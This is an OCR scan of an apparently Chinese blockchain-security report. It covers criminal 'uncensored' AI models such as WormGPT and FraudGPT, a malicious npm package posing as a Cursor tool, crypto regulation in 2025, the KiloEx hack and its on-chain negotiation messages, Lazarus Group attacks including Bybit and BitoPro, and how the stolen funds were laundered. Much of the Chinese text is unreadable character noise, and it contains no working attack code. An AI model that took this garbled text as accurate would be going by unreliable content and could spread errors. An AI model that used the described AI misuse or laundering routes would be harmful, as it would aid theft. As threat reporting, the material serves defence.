SR—THEENWNBRIEET/LTAU, ATHAEARE, BRATSHN
ERENIEFIERRE, AEthEweb3+AIN—TER,

HiEFRER, ATRITEHNNRE, KBERFEREE RN
i, REXTESYENBREXMILIEE, EREgtRRicE, ZRIHE
A&, BRAITINABSE TXITHRE, %8RB CH, RER%RA
Al, EAIEH2EK, 2% BreviewfthE, MK T code review#iz
TREMEAE, MERERXT, BEHABAKAR, tEERXMUIBEM
59,

A

1. wiEAgent B R A ol fElisearchE RN, MMIENXERIE, BAIER
BN ERIFTA @evilcos

2. web3+AIF ASRIA— TR MSRBEIRRARIE, 2E2— M5

=
Ro

Last edited 3:47 PM - Apr 27, 2025 - 261.2K Views

EHPH—RREAXBAIFEAMA REIE EEAFTWERTEMA"EREASRIER"
B9 Cursor RS, HIKBERBIERETHXIE,

WIS
1. 207)pro=REBANRIESRERNI I LRER (Ebilclaude-3.5-sonnet ,claude-3.7, gpt-4o)

ESINTERNITENERTEER (Ebilol-pre gpt-4.5 £F &8, EMERA—REE0.47]) XMAERSTE
A

2. tJHECursorflICursor Assistant EF If—EEHE7EEMCE! | |

HINARESEPSETENERRGARAMNXE, RAKGFEEEBEENREEHSE—
H. REE U ENMRENAR A TR API"AEE, EEAHMTEASIR, BSHRERESERN


https://mp.weixin.qq.com/s/wmmI_M0VyLnxoJX-7DV8Xg

sw-cur, aiide-cur, sw-cur1 FEE npm &, XEEBIE— BT, BEXN KM Cursor MAHITIEE
EEY, EARMNHZEZERBRE, FTNGMEIL, EgHREFT N WY, KEBLFHE
EEH T ESIT, EMZEWMIFLERT 4200 A, TEEHREFHEA MacOS BIEE AT,

Cursor

PSS A

R@W=071 GPT
PLUSHE
AMHEACPT-4ONGPTY

HEABRIRERN, A REIESTREARES, EEUNENERABERFATREINKEE
MEREO, BMNBUFREVIHERERBTHAMKBE, LEEFH R I BENKEE
A A TR, @ th BB REARDE AN KR GEEERADTT, AHIERGRESFBERRMET
2%,

2.2.8 TIRHIXEESHEE(LLM)

BRT LR FIAA TEXRREBNFREBRASBRATSERE, EF—KEGEZBNARE
— "ERHI"REEZTEE(LLM),

FTiB ERH LLM", REBLHBFEERE BER, REERERMNREING SRERH ER,
IRTERAKRERR, HEEREATERNBETL, ERER. EERBRBEES, M—
ERENFUARFRZUERAXLERFROMOER, AFMEILE, EMEITS, SRR K
FAEERERSIE, XREETURRFRELUNENRDL, AATEEBRENTHRIESRHIT



WA(fine-tuning), ITEHEFMLHERIFTI R XREX AT ERNEERE . BERB, FRE
RE, HREAERELZRHALERREF,

(1) WormGPT: & ik GPT

WormGPT 2 —fEH TiIzHEMNEE LM, FRXEHBER TE R EMEERES, ZER
Fi0 GPT-J 6B FFFRERIILR, FEEIET EREREFHEXNBEREND, RIEMNFEZMF 189
ExARERA—1TH.

WormGPT What can | dO Wlth WOFmGpT?

Phishing Attacks
Oday Exploiting

Account stealing (Instagram, Tiktok, Gmail,
Bank Acc etc.)

Cheat Coding

Script Coding

Ownership WormGPT ~ WormGPT source code Malware Codin g
7999 $ 2390 %

Protect and Attack Systems
Chemistry Topics
And lllegal responds to all your requests.

OWith WormGPT, there are no limits in the IT
world.

WormGPT V2 WormGPT V1 Buy for 189$% Month or 650% year(+free 6
650 $ 189 moth) / DM: D
HARMARGE:

o HEBMMEHAR BEMBLEMXZA. REBHMBLTME, &X' KFARIEHER, 5I1SAFR
89 & R U FR B IS ;

o RELEARD MMKRLELERGIMEE X4, KEFEWR, EXBET MK,

o BHILWFH EMEREIEMEBERESE FSSSERERIKRETE,

(2) DarkBERT : B& W #1172 15 2 B XU B 41 12


https://mp.weixin.qq.com/s/8pF-1XWTH17AfXfNcW7KCA

DarkBERT 2 HEE KAIST #1 S2W Inc. 8EF A8 LLM, TITERMEIE L TIIE, RABRTFH
Bt ANREBRIEERZEMEBBES. REVRELY, BERAZENREHRERMEEH
WA XBE, 5180

o MFAMINKIE ZERFIMEAKER, RITAHIMHNERERAE;
o RIFBHFIE: ERBEMPAEN SREREKR, RITELBRMKEH®E.

(3)FraudGPT : iF3R % A “F HhR"

FraudGPT & WormGPT BIFA R A, ZEREN 5 R EF IRz LIH % S200-51,700 MMisHE, H
EEEM K, TRHEWRIT. HEERAGSaE:

o HEMEMR ERERMBES. EMSEEHXE, AT ICO/IDO Fi;
o MENEMEAMN REEFMEXRZMEZAARKLEER

o HRFLEKERT: FEERIIESAE WIEREHHKERRTETE ;

o MXFSKHMIKIT - RHEEANES, SAFRIGEE FSUHEHRRER,

(4) GhostGPT: Z & IT/C IR Al BhF
GhostGPT @R —HREBAMBIRE RN T EERF'MWIMKXEE, HANES ST ERARXEE:

o HEAMHUAR ARMNERIRRZAMESH KYCEKR. RLERSE,;

o EEEHAVNEM REAHAERIIHHMIEEENEANRE, AF RugPull;
o ZARTGMBIE EREETH. BLUERNEGTAD;

o FEENEFW SEETEAABEURSEE, KEBIFIEIRIK BEC W&,

rI]]

(5)Venice.ai: E&LBEAITF

Venice.ai {2t £ LLM T5RIRE, & THE, £FH, RFAFEL—LREITTIRAER,
HMXEE:

1

i

o ZEUFEAMEENS,;
o MREIRTIFEINM;
o RFNANEERRMA, RAKIHE,



RS LLM g9 3L, iLiFRE B ERARIE. BAME SR, EMBESH, XXKE
FMUEAFHE, KEERENAIHRE CEXSEEEEREVNRESREMNE %ﬁf I o
N RIS R RS, BWMUTILAEAF:

o MMEHNEHHIRAEGERTIZEEIREI;

o HFERWREN" ERNBKMNERHRE;

o EXENAH=PIRA LLM F i B =] HRY ;

o BRIELFEEHAKE, MIEIRHFEEMEAEZESER

_— lﬁ%&/u\ 73

3.1 EKEEHS
BTN ALRUEDSHERRE.
3.1.1 I

(1) P EKXFE

o 2025 F L¥FhEKMERLITE 368 M X FELMAHLR, EhFIFEHR 250#, B
EHR115#,


https://wenshu.court.gov.cn/website/wenshu/181217BMTKHNT2W0/index.html?pageId=2e85cde67b5ec1cbdac1af55fb99e788&s21=%E8%99%9A%E6%8B%9F%E5%B8%81

PEZAXEM

China Judgements Online

AET RIBRME RERHG TTBERME TEfRRMF PATRG Hittr WIRKESXH

AEKE. WA, XRE. AR SBA. @5 ?
B xgF > Bik&G: REFRREN RN
I-me0ize)
: ¥ : 2025-01-01 TO 2025-06-30

[ X B ®HBH
-187(62)
Lstmpesen BT 368 MXH
L)
L sisrga0) HIRRG) RABM]  WHEF 2 ©HBKE
|-3858(48)

2R(Ee)
L spzame) SIEREH

oy K. TRELAAUHREHEEFHERENED
Lg
|-FIR(27) ISABBARER (2025 FRH12648  2025-04-30
= =8 >
) e
=~ RBRMA(115) AREHEEND, RBWNSNOREWRICRAKE—FEE; BREARS REIER, EBRIRIFERIAT s RREFH, HEAKEABIEMOTC
TR BREARTARNEARODNE DEATFOHTRE, HEGREBADROTERY.

o 2025-01-01:FEITBI(h4 A R KX FNERREEIBIT ZREWEE E—ARYMREER

AR ABREENATE, £HERA'RES EXEESBRE, FMTTAEEREELE=E

78, IREFARERMEXIOE, @2 THAAELETEHRER, HFEH. HLSES
MEESILEMNEE SN, BERITHE A,

o 2025-01-06: HERARKESR. BRHER. TAFNEBILARER S FN & B ([E 5 24 2 i
iR RE s DIEX N, ZIE5IBRRE R ARRE, MBERRSEREHMEBAER
ERERR, FRFMEEE A L2 M BEEFNBFENEREIL,

o 2025-06-18: ( ARZERRIR) FIET RERNTHRARERXE, XHPiEHEEARKEK S
EERAEREMETEEU~BHENHKR, EEELESFTE, FREIBRELETHEMN
BRE BEEEDEMERRAEDT N THEATATERZTLNBIATEELER, 7K
EE BRI LUES, KABRHRE,
(2Q)HEFH
o 2025-02-19: FHIEWRRIERXKAHFIEMIASPIRe |IFREE, REAKXIHF (BIFEE
Access. &P Safeguards. 7= & Products. Z% Infrastructure #1B% % Relationships) T &4

N2MEERE, BEEASKRIME. RL2EE. FReEH., EMREARKEREHES
A HE,


https://www.gov.cn/yaowen/liebiao/202411/content_6985765.htm
https://www.ndrc.gov.cn/xwdt/tzgg/202501/P020250106320772720055.pdf
https://www.ndrc.gov.cn/xwdt/tzgg/202501/P020250106320772720055.pdf
https://www.chinacourt.org/article/detail/2025/06/id/8871373.shtml
https://www.sfc.hk/TC/News-and-announcements/Policy-statements-and-announcements/A-S-P-I-Re-for-a-brighter-future-SFCs-regulatory-roadmap-for-Hong-Kongs-virtual-asset-market

o 20250521 FEREIZS=ZRBANS(BETEHEE), EERFRBMT 20254 5830 H
FIZE(RE A, $87E 2025 F£ 8 A 1 BR(REMEHI) (5 656 F) FIAKEH B,
Ert, AT RAEERRFERNEGARENRITE. EEMNREMUEEE MENEME
o

o 202506-26: FEBMRM(ZEERFR-LARBETE 2.0), ERFEFBITERRFTHE
PSSR OMRE. ZBRERESRY LEAPER, aFEEREEE. FERK
e R, HENRATRSERISEURAT ESHRKAERBEOXES,

i

RHEEE

o 2025-03-25:REEERAMIEMETRFE|EE, BITAH 60 RAREH. BEXXE
ERNRLERBENRSRSETAIHE, ERSHLEEEER, BIRENRITE
HEER. RIRKFSTZEINE. FERELTIEAF,

(4)F[E

o 20250115 HEEMRFERR(FSC) EFBITILHELE ZMEEMEL TR EESE, it
WNFSETHFEEAXZR AEERCLERART LEZHE. NEEIERKRENL
5 RETHZBEBREALKEFNE, ERIENE SEETNEETEEERETES
7 REHM, EPERRFREBRED 80% WAFMEE TEREFRE KSR 5EE
ERENFRE.

(5) # 0

o 2025-05-30: M LM E R D (MAS) R MERLKE I M TE /A FEFTINECE M
SEMMERS RIS, &RIIG DTSP ML 2025 4 6 A 30 BRIfFLERSNEF
R#EMFELE MRS, 6 A 12 B, HIMREENMBURFEFENER S FERFGR L ZE

]]

\

T

i

o

(6) #F

o 2025-06-14:HEERNEHE T(HFEARTUE), ZEERBFEFHUALETE,
FEXKANDBEFHEEMAE, ZERFT 202601 A1 BEXK, BNEER=ENLR


https://www.info.gov.hk/gia/general/202505/21/P2025052100391.htm
https://www.info.gov.hk/gia/general/202506/26/P2025062500847.htm
https://www.fsc.gov.tw/ch/home.jsp?id=96&parentpath=0,2&mcustomize=news_view.jsp&dataserno=202503250002&dtable=News
https://www.edaily.co.kr/News/Read?newsId=02817526642038048&mediaCodeNo=257&OutLnkChk=Y
https://www.mas.gov.sg/-/media/response-to-feedback-received-from-dtsp-cp.pdf
https://theinvestor.vn/digital-assets-legalized-in-vietnam-d16008.html

FERR. RIT. FESRB YR PEANE SR FREARTRIEMNRFRES, FFH

FREDAERMNEFFIINE R =RK,
(7 &RE

o 202503-16: REESRMEENMIESHR 5 E R (SEC) FRFE M USDC. USDT ZA0ENH#Ht 4
RImE M, T2 81, ZEENMMULAET BTC, ETH, XRP. XLM U R RERITEE
RERFERAMELRT,

o 2025-04-08: RENEHLABITHF R WSMMEILFETMFLE X ET . FAGRE S E
MEEMRANRPP) XRZFEARENTSE, BNEFERES=FEE. &S 30 AR
BRI RE FH o

3.1.2 BRiM
(WEE

o 2025-01-31: BT RHIZEEM B E( ARSI IZEE)(FSMA) A58, F=FnzE Rk
BREEFRRBRITHNSEZN, BIFEIX—FE, JRIFLLETH 0 SOL N # 7 X R EER
EEE FTEZEATEARRBITNNEEERAR,

o 20250429 REMBAEAERHABTHREEMHURBAEREES LER EECAMT
BEMFERFMIEEE, IREFR, MERTXZH. XEZBNREEFRAALRET
B, FRTHERTH, RNXEFSEH, EXERAEFmEE AR BB IURE
BHRE. HRERPMSENM A EIABERE,

(2) R

o 2025-02-17:FUMIEHFTIZEER/(ESMA) AMIERENTE, MMNBR~RFRERUEAT
RENDFEERERAXREL, ZEREEER(NERTHZEEEE)MICA) HXE
Ko

o 2025-05-02: k% IE @ (R EFINAMLR), 158 2027 £ 7 B 1 B 22 ILFAEER
NHENZRSEREELMEKFRES, F2BEZMARAT (30 Monero. Zcash,
Dash) X 5,


https://www.coindesk.com/policy/2025/03/10/thailand-regulator-adds-usdc-usdt-stablecoins-to-approved-cryptocurrencies
https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=11682
https://cryptoslate.com/ethereum-and-solana-staking-no-longer-classified-as-collective-investment-schemes-in-the-uk/
https://www.gov.uk/government/news/new-cryptoasset-rules-to-drive-growth-and-protect-consumers
https://www.gov.uk/government/news/new-cryptoasset-rules-to-drive-growth-and-protect-consumers
https://www.esma.europa.eu/press-news/consultations/consultation-guidelines-criteria-assessment-knowledge-and-competence-under
https://cointelegraph.com/news/eu-crypto-ban-anonymous-privacy-tokens-2027

(3)LEH

o 20250313: t EEAATHERS(CMB) %% T AR5 CASP FaIHIE B %ML E
#, BEMEETXSH. 8 ANRDRSIZLE, ZERETF OMB HMEF LML
EURER, BEETERNEGFTL,

3.1.3 AL =M

(M x=E

o 20250123 (EESGHHEZLZNFHR TS, BIXEHFTESTNRRERRLE
iy, EREERIEEHFE AT IAEA, o, ZTHRSZESNAEIERT
I . RITEHET RITHEFH T (CBDO),

o 2025-04-02: EERWIREMIBFIEASL 32 2. 17 ERNBEI(STABLE EZE), B
ERNERRENMBIMEER, ZEERRBEM 11 HE., BREEARRREERE, ZE
MO ERITEW Tether RAERER, 2EHESFRERN,

o 2025-04-04: (EAEHXHERAE(SEC) U MEZEIEAX TFREMMUIESEN., 245
B, ZEITANTLER. RaRE. BETFNIRE M (Covered Stablecoins) 1R
1E Reves MIHAF KIS, MEZ, RITEHERED EERERELSUE T AR,

o 2025-04-09: EETEIAMXFMESRTEEMEAEH, BHEFRAELRINBHEILE
PFERAAE, EEAKERE, R EYREEEFILETH.

o 202504-11:KEEHXHE R R(SEC) MSE R MEMH, $XNMEHZHIESFRITHE
i, BERRATEHBAUS KB, MBI, EHNFI R EREHIRBEFER, LURF
rEEFRITIZEHRA,

e 2025-05-29: XEARWPEH MR AE KR (Digital Asset Market Clarity Act), ZEERF
ERHRXSEARCFTC) NHFEAAETHMBREEN, FATNEFLERIER
SRR CFTC 5k SEC ;M. A RAMMER M ERETABFILES, FHHRRETLE
£ @ (DeFi) TEBME O RFIRUEEZ SECKE.



https://spk.gov.tr/duyurular/basin-duyurulari/2025/kripto-varlik-hizmet-saglayicilarina-iliskin-iki-teblig-yayimlandi
https://spk.gov.tr/duyurular/basin-duyurulari/2025/kripto-varlik-hizmet-saglayicilarina-iliskin-iki-teblig-yayimlandi
https://fortune.com/crypto/2025/01/23/trump-executive-order-crypto/
https://www.congress.gov/bill/119th-congress/house-bill/2392/text
https://www.sec.gov/newsroom/speeches-statements/statement-stablecoins-040425
https://www.justice.gov/dag/media/1395781/dl?inline
https://www.sec.gov/newsroom/speeches-statements/cf-crypto-securities-041025#_ftn1
https://financialservices.house.gov/uploadedfiles/052925_clarity_act.pdf

o 202506-18: EES WLl 68 ZEHA. 30 ERNMWEREIS TEFEEEE L WME K
MIE(GENIUS EE), MEEEEREN HE2 Y ERENBMFERTILE,

sy, SN FERGR. FEBE, L F) R ST AREEEXER,

3. 1.4 HIT =M
(1) FIRE

o 202503-13:[IBEERIEHFZERS(CNV) #LASE 1058 BRI, NEIVE=IRSIRIELE
(VASP) IR B EEN, WEAMUSE, MBERL. AFEE. RAEKEERXRKIEE
N&EEAmE, RAKESIHTE,

(Q)BFERR%
o 202501-30:FREZESELESSEX TERLFTEMNRERE, EXTUALLETAER
BRI,

3.1.58%K
(1)@

o 2025-03-17:FERMRSEEE(DFSA) B T{EEELE, AP LAEBENHMHEE
TR T EMBRAERBT - ZERE, FEFHNRSLHERATLERE. &
#. FI=RHFURERIRBEES R4,

o 2025-05-19: EBFEBE=WER(VARA) BH THEEZZ Z N o FTALINGE T XH R
EE 3 B HATTER AR ER, W REH EEREEERSERKRIREE, FiEH
HRTNELH. RERFSEFAMMBEZA,

o 2025-05-25:#FLEARSS BB (DFSA) E =LA Circle # TR USD Coin (USDC) %0
EURC NE#tRIARIIRE . HAEHEBFERFEMFODIFC) AELEEEX T, BE
EIRE ST R N A ERXFMAHIRE M.


https://www.congress.gov/bill/119th-congress/senate-bill/394/text
https://www.argentina.gob.ar/normativa/nacional/resoluci%C3%B3n-1058-2025-410635/texto
https://elpais.com/america/2025-01-30/bukele-da-marcha-atras-y-retira-al-bitcoin-la-condicion-de-moneda-legal-en-el-salvador.html
https://www.dfsa.ae/news/dfsa-seeks-expressions-interest-tokenisation-regulatory-sandbox
https://rulebooks.vara.ae/
https://www.circle.com/pressroom/usdc-and-eurc-become-first-stablecoins-recognized-by-dubai-international-financial-centre

BIKEE, 20255 L4 F, FEAERFATLELASEBETHRASHELL. MIIEFEESREE
B REMEEER IRERFERL BENEFAT, PP XZHIRGIIERK, £IREERME—
KRABE RN S BAEMLE,

3.2 BEIFEFIFIEEUE

2025 F L35, Tether R4 209 1 ETH it F A9 USDT-ERC20 %7,
2025 £ EF 4, Circle #£R4 44 1 ETH #udit £ # USDC-ERC20 &=,

2025 F L4, BEZRHEMEKESRAEREAAETHEGRBT ORE, AX IEEHH, HER
EEITN 173 2%x, APiHh 2.7 ZETBRE/FRE, G L FEMMER 11.38%, X—LEHI
BERBARF LA MERX 4 EBEREE N TEEL

test, EBFE InMist Lab BBMEREEMEZHI R AXFFT, 2025 L F FIEF(SlowMist) thEIE
P, BERERAFHEREHFEEREEL 1,456 HET,

HARERKRMMESZ KiloEx F# ——2025%F 4 A 15 B, EFIDMEAKEEARZFE KiloEx
EBERERE MEN 844 BET, EHRER, BF (SlowMist) F—RIART /MR /NA, B
& KiloEx MBREREMASTME, RN, KITEHMNELREKREESTTEE
MistTrack(https:/misttrack.io/) & InMist BUEMEIRM S, SERAN K EEE R FF M EGIZER,
FHiPBMEAEREERF ZHRIKE, RE, EEFESlowMist) RZAMET, BEHEREMN IS X
&, £EHEERF 844 FETHBAYIERE, KiloEx 5 EHHE KR 10% HIFEE ML,


https://dune.com/phabc/usdt---banned-addresses
https://dune.com/phabc/usdc-banned-addresses

é- 0x1D568fc0...01222ABcF (L) to KiloEX Exploiter 1

Let's make the deal, we will keep our promise, please contact me at operation@kiloex.io and attach signature using your address(You can use
https://etherscan.io/verifiedSignatures or other popular tools). The content to be signed includes the email address you are currently using to contact me.

at txn 0x4c2055066526... (0 Apr-18-2025 01:55:35 AM UTC (3 days ago)

Gii KiloEX Exploiter 1 (O to 0x1D568fc0...D1222ABcF |
I need you to withdraw the case first and upload the withdrawal notice to x
at txn 0x462edad47ecfa... Apr-17-2025 09:25:11 PM UTC (3 days ago)

‘i’i KiloEX Exploiter 1 to 0x1D568fc0...01222ABcF [
?

at txn 0x717776436451... Apr-17-2025 05:46:23 PM UTC (3 days ago)

KiloEX Exploiter 1 to KiloEX Exploiter 1

o
(=)
=

Let's make a deal?

at txn 0xa78d590f07136... Apr-17-2025 04:37:59 PM UTC (3 days ago)

& 0x1D568fc0...D1222ABcF (0 to KiloEX Exploiter 1
BIERE, #RiF

FEMNEMEEUR, BERNTHEXEEDNOXEER.

FANEERRUEIZBAIE (0x551f3110f12¢763d1611d5263b5f015d1¢1a954c, 0x00fac92881556a90fdb19eaedf23640b95b4bchd,
0xd43b395efad4877e94e06b980f4ed05367484bf3), H HELBKAESBIFKHBIBILIAT RBBREFRE.

AT RFBRIZ—ERE, BRI

1. 24/ I POISO0 %A AR BT FIR A LA LA T ekt HREE10%(FARIRR A BIEE E32R.
opBNB: 0xb1a95732ed3c75f7b1dc594a357f7a957e%baad?...

View More

at txn Oxa6031b4ef8e2b... Apr-16-2025 04:17:23 PM UTC (4 days ago)
@ 0x1D568fc0...01222ABCF (O to KiloEX Exploiter 1
To Hacker:

Our investigation, supported by law enforcement, cybersecurity agencies, and multiple exchanges & bridge protocols, has uncovered critical information about your
activities.

We are actively monitoring your addresses (0x551f3110f12¢763d1611d5a63b5f015d1c1a954¢, 0x00fac92881556a90fdb19eae9f23640b95b4bebd,
0xd43b395efad4877e94e06b980f4ed05367484bf3) and are prepared to freeze the stolen funds promptly.

To resolve this matter amicably, we propose:
1. Return 90% of the stolen funds to the following addresses within 72 hours, and keep 10% as a whitehat bounty for your cooperation....

View More

at txn 0xe8c052f2770¢2... Apr-15-2025 03:08:59 PM UTC (5 days ago)

(https://etherscan.io/idm?addresses=0x00fac92881556a90fdb19eae9f23640b95b4bcbd%2C0x T
D568fc08a1d3978985bc3e896A22abD1222ABcF%2C&type=1)

MIRZEIRS, £FERFIFERMFITSHFME, Kilobx BEFHRENAFTNEAT REH
EmMBAMMENEE M, thBERIZE Web3TE, REF NS T ELAIMTFEIT, EHhEESSE
FERNRRKEE,



3.3 HLEAHD

3.3.1 Lazarus Group

(MAERFE

B 2024 £ 6 ALK, 1BF(SlowMist) BEE U EI 2 RAMMEIE, NS ERFRERHREFIRIE
BE, BEINHEERE. TTPER, HRMWEF) 5 IOC(ARER ) HES T, BIMNHIAXLER
HERANMEBEEMZZMMERR APT i, WGHEELHHEEAL Lazarus Group, EX i
BfrmEEd, LFESERAMERTMRSMZKLDRSRE, FLURNKTIEFHNBRIFRELE
B, BEXNZAMERR BEMSH, HA1KIL Lazarus Group BT —ESERKE B3LRE
BB et

. MBAR
B, REEREHHLTRTESEREE, BAARQE H—, WERTAES, FHXRE
FRZAR, WREBHWARE, 3# RFEERAEARMFIIEE, £, HEREDERS
SRR, REZBHMRB R, HI% 8 A FERIZE K Docker iR TERE
3



https://mp.weixin.qq.com/s/rB4XeIBATAb1zHZ9WVyxAg

EEMARND StockinvestSimulator-main.zip #1 MonteCarloStockinvestSimulator-main.zip H1 & &
EREEFHARD, MEEBMA pyyam! #1T RCEGEREKBINT), FABEKBM T RIINITF
B, BRI X SHARSHREMRNMRR, BABIFALET,

lent with
ation

8@ (application. Input your
ra

o performance

ite Range

m the suggesticns

AEO=SO0Fa08800 720 §0 0 O~

o WMRIZF
WEFHEBEDEE KGRI R TIREMARIZEHINR, 3 8 i%F% 3 T4F docker-compose.yam!
R privileged IRE A true, MTTIREE EH B SR, ST2EH B HFig%.

o RNEMNEIIER I
KHEFMABRARRZR/AN, RIXBRSFHFAALULNARRE-SSELWMELE;
ARG TABIRARREN VPN RERTT, MMTETXKBIREREFHLN. —BKD
IRERAE X M AARSS S R, WEEERFIUR BIRS /A SSH ER, MARXLRSHFZEAMBD R
BREEXRRUEABDY, RAEHRTRSH.

o RERBERERD
BUYRBHREBEFNNE, REERRENERTFEIRBELEF MRS, BIIBPRE
EFRAZNELTE, NARSMEMRIEENBR, BEEIFEFIHERKR, FREREK



WF B EEIEAEAKE. k5, XEESERA THRBEETHER, FERMEIREN, L
BERHEL 2EHIZWMATHEOTEERFRE, AIRSEINBREXER, SHREXR
AETERE EBEXER EEEEMEESEMEE,

XX RS RIFEMBAPT), REHFNGEUTEME, BIKBZ R RHEEREDE,
IMKEHRES T KIRITHEE. BREBEXRK, FEEHRES . NEREENRE/MEEK
BE%, EE, AARNBHNRLERENNAFHEEXERE LEAER TENEUSEMBRRDE
FREY, REEFEBEXRMBIENF], FEEERE —RKGREERI,.

(Q)EXFEH

2025 L¥ 5, REMEMHRHREAL Lazarus Group SEREXRAESF T, EEE—RW'E
ERE+ESAGIMHEE LRRBRE, fIET SEEZMEZNERTESH:

e 2AH21H8, Bybit FERERMERERENER, SBE 146 ZETHWE, ZEKFBF
BF(FB) XM AEH, SAEEEHA Lazarus Group X1 Bybit B REBHABTE, FiFX
— B ENRSEEEMEES A TraderTraitor 1, & £ 3REXF| app.safe.global BB
REBAYIZEHIIN, SR E 43T Bybit 89 Safe{Wallet} BB ITH £ KT, 7E Bybit 9% % Owner
{8 A app.safe.global #1T7¥ £ B, ik Safe{Wallet} B 5 E B R IE % ik, S‘"—W'J’E?iifi%
NERXZNBBREBENGFELHIE MM Owner EETEIEREHEER
ZLHIE. RE WEHEBEE T Bybit MZEHAMEAEFIN, FREEM. RS
HREERMEETRARUMER T EGEH.


https://www.ic3.gov/PSA/2025/PSA250226

Public Service Announcement <f?j‘§ :

FEDERAL BUREAU OF INVESTIGATION

Alert Number: I-022625-PSA
February 26, 2025

North Korea Responsible for $1.5 Billion Bybit Hack

The Federal Bureau of Investigation (FBI) is releasing this PSA to advise the Democratic
People's Republic of Korea (North Korea) was responsible for the theft of approximately
$1.5 billion USD in virtual assets from cryptocurrency exchange, Bybit, on or about
February 21, 2025. FBI refers to this specific North Korean malicious cyber activity as
"TraderTraitor."

TraderTraitor actors are proceeding rapidly and have converted some of the stolen assets
to Bitcoin and other virtual assets dispersed across thousands of addresses on multiple
blockchains. It is expected these assets will be further laundered and eventually
converted to fiat currency.

e 4 A 258, Kaspersky #R&18H B 2024 & 11 A#2, Lazarus Group & #24 1 “Operation
SyncHole” MM &, HXNHEEDAR IT. &8, £ 5K, BESFTLN, KHEEF
FAR#hERH Cross EX # Innorix Agent " — BiEiR", @K EF IR IR F FELSE
AR, HFEZRZEDIERFE ThreatNeedle, wAgent, Agamemnon, SIGNBT #0
COPPERHEDGE HEBE R, LTI NETKER, BTHILL ThreatNeedle 1 wAgent 9
X, FEANEE R RRRR . HEHRIE R SIGNBT #1 COPPERHEDGE, Wi #2eh Lazarus FiI A
BEHREIAC2MEEE. HABHERER, HENFERGHNERTFEE,


https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-new-lazarus-led-cyberattacks-targeting-south-korean-supply-chains

Operation SyncHole:
Lazarus's latest campaign

Attack flow during initial compromise
Pre. Create a website and manage source

code that executes an exploit

Attacker

Pre. Compromise 1
and modify its source code |

i |
0% v

O 1. Access the site 2. Validate IPs, then redirect the targeted users @
s = D‘a"“ .

Target Media site Attacker server

@ 4. Injectinto the legitimate process ﬁi 3. Fetch a payload
AR e O P P s P e ¢ -

SyncHost.exe Legitimate software

—7

e 5 A8H, BEMERTRZAN BitoPro EBBREKE, Y1150 AETEFTMS MR
BEWIEZEH.6 A 10 B, BitoPro AHiAE4LERE, ML HBRRIMARSE, FiEHKEH
Fi£5 Lazarus Group I EHX SWIFT REMERRR ZFTAREERX S EHE L, ItRE
HH—ZRORITHHRIERES X, REEREAARZHELHATL AZEALRD
EFEHBRTHRE, STmABTF5HOUNE], HEE AWS Session Token £eid
ZEHMREIE (MFA), REEXN AT AERETHARTRNANES, F5A IR ERRE
REAREAREEFHBNN, BIBEMK, BUSEXZ/MBZB R, BitoPro £
ENZEFAZIE NI, EHEGHE -k,


https://www.bitopro.com/ns/announcements/1226

RUAE | 2025/6/19 HE B ERIBELER T

2025/6/19 #EE3X SR BitoPro BERELEE BRI

BANTIRPERIMERB=FFEBERATA—ERASRARE » {iEH 2025 F 6 A 11 HEEZEHIRS - MEHRABABSA » BARERBHZRBF L > 1B
AZEEREARMGFENAMN > EFEHRZMRITSWIFTARIFEZBIREREBRAENBEERGAEELRBEM > BRILEREES TMIREB (Lazarus Group) A
Be

BZEEBH-BARTIRFEROBCETHRIRERE » MIMEAKRERER > SEBIRMIHE « BFBERBHT2EASHERR  WERRZIERCEBHT  BREBBRE
T4 BIRBIE R ABRIBIITEIE - BXEHFF AWS Session Token #EBZ EHMHEREE (MFA) » 7 AWS IRIFPEBC2EMBBEIES  HBERNFEHEEERBEEEE @
PEEEIE -

RECBREERR  HETAETESARARAEEBIERPRE  ERABRETARDRE -5 B 9 BER 1FAR  RERDBEHA  SREERS  BREE
IFEEBRMBEE - BF Uiﬁ@?kﬂ%ﬁf‘%%{é ARIRBA P ERE > EREFEZBEEEET  O2RIMARECARR ERMAMNER  RRIERITERARHA
RiRERE - MAERUHAEHRETH  E—SHERETS -

BRI EHEBRMmA B EEHE SR ?éﬁ’i%fﬂ?y%ﬁi%ﬂﬁﬁ » WEBRSEE R » W5 B 19 AiFAiEa I FENIR (A5 EBURBHIT A Arkham » IXERIF AKX
LSRRI  BE 6 B 19 B > ZEECEMBH S (https:/intel.arkm.com/explorer/entity/bitopro) » FBE RIFI{FERT °
IHRERBHBROBERREFECEIEE  EMERHEREETANMNE > ERAEERN - EESEXRBERNRE - HARNENAZZR—IHXKRELENER » KK
FERBFEERRITHERRRE  WHRRRGEEHR  WHEERARSER  ERtRBENBMUERT  HERELZZABENRIHRIR -

2025-06-19 14:50:00

e Q1 ZJE, Lazarus Group K#2 T 4 N "Operation 99"MIL KM B K H1T5, T B HH
FREXEEEHRWMEMURIERE, REEBRISHIE Linkedin BEEER, 51IEF XK
ERE-—EABEREFM GitLab R E, —BRBEHEHNT, BEREESKEERRE
hiEART], GEURAE, MEXTERTZHARBUREIE, RIT3EA paydd frR T

B #%DEERFEE Main5346 1 Main99, Ef1aI# — £ hn# a0 Payload99/73,
Brow99/73. MCLIP %&£k, N BIATFHIBKE. RUEGIRANBE LT EEME, XEHEL
ABFRERS, FOERIRAIRFN, EAIEREMMNER>™, RE2ARER, E—FE
BEf 1600 & FREZEM, I%ﬁ*ﬁEEﬂfﬁ\ BEfE. ZEZEER.,


https://securityscorecard.com/wp-content/uploads/2025/01/Report_011325_Strike_Operation99.pdf

1 I 137

Global Impacted Victims

RX—RINKHETR Lazarus EF BFIRME—MEB RSB, EMBIFREM/NE, S ITHROR
SEBRRINTE KEREAFNILK, SBEEER.

(R)EMmFiE

LA Bybit 41941, Lazarus Group ZER T4 50 A ETH, EMESX 146 2%k, HENEE
BIRITHRILT Lazarus Group B EHLRLTRARXIRIEMEEN, TEQRUTILAMER:

o WAEHRD:
-> T 15,000 cmETH &%, #3EE;
> PR EF I mETH. stETH &3 Uniswap. ParaSwap., DODO 3#t5 ETH;
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e BTCEMRE:
-> KE BTC RAZAEMaR, 85 Wasabi Mixer, CryptoMixer;
> &85 BTC # AT OTC 74 R 5. P2P MEHF# — S HHE,

o HEFLR:
1R#E Bybit CEO Ben Zhou #%%, BE 4 A 21 B, AL EMMT:
> 68.57% KB EHARBER, 27.59% MREEHART, 3.84% MRS EHRSE IREHEIRIN
¥ 8 $E Tether, THORChain, ChangeNOW, FixedFloat, Avalanche Ecosystem. CoinEx. Bitget,
Circle. mETH Protocol &),
